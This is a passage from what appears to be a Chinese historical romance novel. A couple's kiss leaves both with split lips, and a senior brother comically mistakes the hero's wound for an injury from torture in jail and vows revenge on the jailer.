云楚沅不自在地绞着自己的发丝,小声嘟囔道:“怎么了,又不是没亲过,你这是什么反应?” 裴昱臣俯下身贴近云楚沅的耳朵轻声说道:“太快了,没什么感觉。” 起身时裴昱臣的嘴唇不经意间擦过她的脸颊,云楚沅顿时觉得仿佛有一股电流传遍全身,脸蛋不受控制地红了起来。 裴昱臣饶有兴趣地欣赏了一会儿云楚沅害羞的模样,在她期待的眼神中弯腰靠近。 呼吸交缠间,裴昱臣和云楚沅重温了一遍方才稍从即逝的触感,不过这次,为了感觉更深刻两人都加重了力道。 云楚沅牵着裴昱臣的手向后院走去,路上碰到了刚送太子离开的孟合舟。 “咦,师弟,你的嘴是怎么回事?是在牢里被姚承志那个小人打的吗?”孟合舟气愤地嚷嚷起来。 刚才裴昱臣和太子一起走出来,孟合舟离得他们有段距离,没看清裴昱臣的样子。 现在距离近了,他才发现自家师弟下巴上冒出青青的胡茬,嘴唇还破了道口子,看起来不修边幅。 孟合舟之前听云楚沅说过姚承志动用私刑,他理所当然地认为裴昱臣身上的伤口是姚承志造成的。 至于为什么伤口会在嘴唇上,那肯定是师弟受刑时为了忍住疼痛,才不小心咬破了嘴唇。 孟合舟越想越觉得是这么回事,他拍了拍裴昱臣的肩膀,“师弟,我会帮你报仇的。风水轮流转,如今姓姚的被关了,我让人好好关照他!” 说罢,孟合舟甩了甩衣袖,步履匆匆地离开了,根本没注意到旁边的云楚沅嘴上有一道同款伤口。